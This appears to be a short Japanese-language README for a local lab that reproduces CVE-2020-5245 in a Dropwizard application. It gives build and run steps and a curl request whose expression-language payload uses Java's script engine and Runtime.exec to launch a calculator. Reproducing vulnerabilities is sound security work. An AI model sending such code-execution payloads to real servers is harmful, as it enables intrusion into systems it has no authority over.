CVE-2020-5245

CVE-2020-5245

1. アプリケーションをビルドするには mvn clean install を実行してください
2. アプリケーションを起動するには java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml を実行してください
3. アプリケーションが実行中か確認するには、URL http://localhost:8080 にアクセスしてください

pom.xml のエラーはプラグインに影響せず、再現されました

再現

curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}